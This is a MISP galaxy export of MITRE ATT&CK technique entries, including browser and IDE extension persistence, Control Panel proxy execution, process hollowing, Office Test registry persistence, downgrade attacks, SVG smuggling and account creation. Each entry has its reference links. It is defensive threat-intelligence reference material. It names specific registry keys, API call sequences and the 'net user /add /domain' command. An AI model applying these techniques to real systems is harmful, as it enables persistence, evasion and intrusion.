https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire

Browser Extensions - T1176.001

Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions.

Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)

Previous to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles; however, <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)

Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)

There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek)

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176.001"*

Table 8703. Table References

Links
https://attack.mitre.org/techniques/T1176/001
https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/
https://developer.chrome.com/extensions
https://en.wikipedia.org/wiki/Browser_extension
https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/
https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/
https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
https://www.xorrior.com/No-Place-Like-Chrome/

Asymmetric Cryptography - T1521.002

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver's public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1521/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1521.002"*

Table 8704. Table References

Links
https://attack.mitre.org/techniques/T1521/002

Control Panel - T1218.002

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002"*

Table 8705. Table References

Links
https://attack.mitre.org/techniques/T1218/002
https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/

https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Code Repositories - T1213.003

Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)

Note: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003"*

Table 8706. Table References

Links
https://attack.mitre.org/techniques/T1213/003
https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/
https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/

Messaging Applications - T1213.005

Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications:

- Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008))
- Source code snippets

- Links to network shares and other internal resources
- Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)
- Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537)

In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Messaging Applications - T1213.005"*

Table 8707. Table References

Links
https://attack.mitre.org/techniques/T1213/005
https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
https://www.scmagazine.com/analysis/ragnar-locker-reminds-breach-victims-it-can-read-the-on-network-incident-response-chat-rooms
https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/
https://www.theguardian.com/games/2022/sep/19/grand-theft-auto-6-leak-who-hacked-rockstar-and-what-was-stolen

SSL Pinning - T1521.003

Adversaries may use [SSL Pinning](https://attack.mitre.org/techniques/T1521/003) to protect the C2 traffic from being intercepted and analyzed.

[SSL Pinning](https://attack.mitre.org/techniques/T1521/003) is a technique commonly utilized by legitimate websites to ensure that encrypted communications are only allowed with a pre-defined certificate. If another certificate is presented, it could indicate device compromise, traffic interception, or another upstream issue. While benign usages are common, it is also possible for adversaries to abuse this technology to protect malicious C2 traffic.

In normal, not pinned SSL validation, when a client connects to a server using HTTPS, it typically checks whether the server's SSL/TLS certificate is signed by a trusted Certificate Authority (CA) in the device's trust store. If the certificate is valid and signed by a trusted CA, the connection is established. However, with [SSL Pinning](https://attack.mitre.org/techniques/T1521/003) , the client is configured to trust a specific SSL/TLS certificate or public key, rather than relying on the device's trust store. This means that even if the server's certificate is signed by a trusted CA, the client will only establish the connection of the certificate or key is pinned.

There are two types of [SSL Pinning](https://attack.mitre.org/techniques/T1521/003) :

1. Certificate Pinning: The client stores a copy of the server's certificate and compares it with the certificate received during the SSL handshake. If the certificates match, then the client proceeds with the connection. This approach also works with self-signed certificates.
2. Public Key Pinning: Instead of pinning the entire certificate, the client pins just the public key extracted from the certificate. This is often more flexible, as it allows the server to renew its certificate without having to update the pinned certificate or breaking the SSL connection.

The tag is: *misp-galaxy:mitre-attack-pattern="SSL Pinning - T1521.003"*

Table 8708. Table References

Links
https://attack.mitre.org/techniques/T1521/003

Domain Account - T1136.002

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"*

Table 8709. Table References

Links
https://attack.mitre.org/techniques/T1136/002
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference

Browser Fingerprint - T1036.012

Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.(Citation: Mozilla User Agent)

Adversaries may gather this information through [System Information Discovery](https://attack.mitre.org/techniques/T1082) or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.(Citation: Gummy Browsers: Targeted Browser Spoofing against State-of-the-Art Fingerprinting Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Fingerprint - T1036.012"*

Table 8710. Table References

Links
https://arxiv.org/pdf/2110.10129
https://attack.mitre.org/techniques/T1036/012
https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/User-Agent

Unix Shell - T1623.001

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.

The tag is: *misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001"*

Table 8711. Table References

Links
https://attack.mitre.org/techniques/T1623/001
https://partner.samsungknox.com/mtd

Office Test - T1137.002

Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

There exist user and global Registry keys for the Office Test feature, such as:

- <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>

Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.

The tag is: *misp-galaxy:mitre-attack-pattern="Office Test - T1137.002"*

Table 8712. Table References

Links
http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
https://attack.mitre.org/techniques/T1137/002
https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/

System Firmware - T1542.001

Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001"*

Table 8713. Table References

Links
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.uefi.org/about
https://attack.mitre.org/techniques/T1542/001
https://en.wikipedia.org/wiki/BIOS
https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
https://github.com/chipsec/chipsec
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/

https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html

Broadcast Receivers - T1624.001

Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.

An intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.

In addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.

In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)

The tag is: *misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001"*

Table 8714. Table References

Links
https://attack.mitre.org/techniques/T1624/001
https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts

Polymorphic Code - T1027.014

Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone) Other obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation: polymorphic-medium)

The tag is: *misp-galaxy:mitre-attack-pattern="Polymorphic Code - T1027.014"*

Table 8715. Table References

Links
https://attack.mitre.org/techniques/T1027/014
https://medium.com/@shellseekerscyber/explainer-packed-malware-16f09cc75035
https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/polymorphic-malware
https://www.linkedin.com/pulse/techniques-concealing-malware-hindering-analysis-packing-akshay-unijc
https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-polymorphic-malware

Bidirectional Communication - T1481.002

Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1481.002"*

Table 8716. Table References

Links
https://attack.mitre.org/techniques/T1481/002

External Defacement - T1491.002

An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system's integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation:

Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)

The tag is: *misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002"*

Table 8717. Table References

Links
https://attack.mitre.org/techniques/T1491/002
https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf
https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf

Process Hollowing - T1055.012

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code> before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012"*

Table 8718. Table References

Links

https://attack.mitre.org/techniques/T1055/012
https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode

Downgrade Attack - T1562.010

Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system's backward compatibility to force it into less secure modes of operation.

Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)

Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010"*

Table 8719. Table References

Links
https://attack.mitre.org/techniques/T1562/010
https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/
https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/
https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/
https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/
https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique

https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/
https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/

Business Relationships - T1591.002

Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization's business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Business Relationships - T1591.002"*

Table 8720. Table References

Links
https://attack.mitre.org/techniques/T1591/002
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

Hypervisor CLI - T1059.012

Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts.

For example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more.(Citation: Broadcom ESXCLI Reference)(Citation: Crowdstrike Hypervisor

Jackpotting Pt 2 2021)(Citation: LOLESXi) Adversaries may be able to leverage these tools in order to support further actions, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).

The tag is: *misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012"*

Table 8721. Table References

Links
https://attack.mitre.org/techniques/T1059/012
https://developer.broadcom.com/xapis/esxcli-command-reference/latest/
https://lolesxi-project.github.io/LOLESXi/
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/

IDE Extensions - T1176.002

Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.(Citation: Mnemonic misuse visual studio) IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)) or side-loaded directly into the IDE.(Citation: Abramovsky VSCode Security)(Citation: Lakshmanan Visual Studio Marketplace)

In addition to installing malicious extensions, adversaries may also leverage benign ones. For example, adversaries may establish persistent SSH tunnels via the use of the VSCode Remote SSH extension (i.e., [IDE Tunneling](https://attack.mitre.org/techniques/T1219/001)).

Trust is typically established through the installation process; once installed, the malicious extension is run every time that the IDE is launched. The extension can then be used to execute arbitrary code, establish a backdoor, mine cryptocurrency, or exfiltrate data.(Citation: ExtensionTotal VSCode Extensions 2025)

The tag is: *misp-galaxy:mitre-attack-pattern="IDE Extensions - T1176.002"*

Table 8722. Table References

Links
https://attack.mitre.org/techniques/T1176/002
https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/
https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59
https://thehackernews.com/2023/01/hackers-distributing-malicious-visual.html

https://www.mnemonic.io/resources/blog/misuse-of-visual-studio-code-for-traffic-tunnelling/

SVG Smuggling - T1027.017

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files.

SVG smuggling can take a number of forms. For example, threat actors may include content that:

- Assembles malicious payloads(Citation: Talos SVG Smuggling 2022)
- Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024)
- Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024)
- Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024)

SVG Smuggling may be used in conjunction with [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.

The tag is: *misp-galaxy:mitre-attack-pattern="SVG Smuggling - T1027.017"*

Table 8723. Table References

Links
https://attack.mitre.org/techniques/T1027/017
https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/
https://cofense.com/blog/svg-files-abused-in-emerging-campaigns/
https://www.bleepingcomputer.com/news/security/phishing-emails-increasingly-use-svg-attachments-to-evade-detection/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pixel-perfect-trap-the-surge-of-svg-borne-phishing-attacks/

Cloud Account - T1136.003

Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)

In addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)

Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003"*

Table 8724. Table References

Links
https://attack.mitre.org/techniques/T1136/003
https://cloud.google.com/iam/docs/service-account-overview
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html
https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html
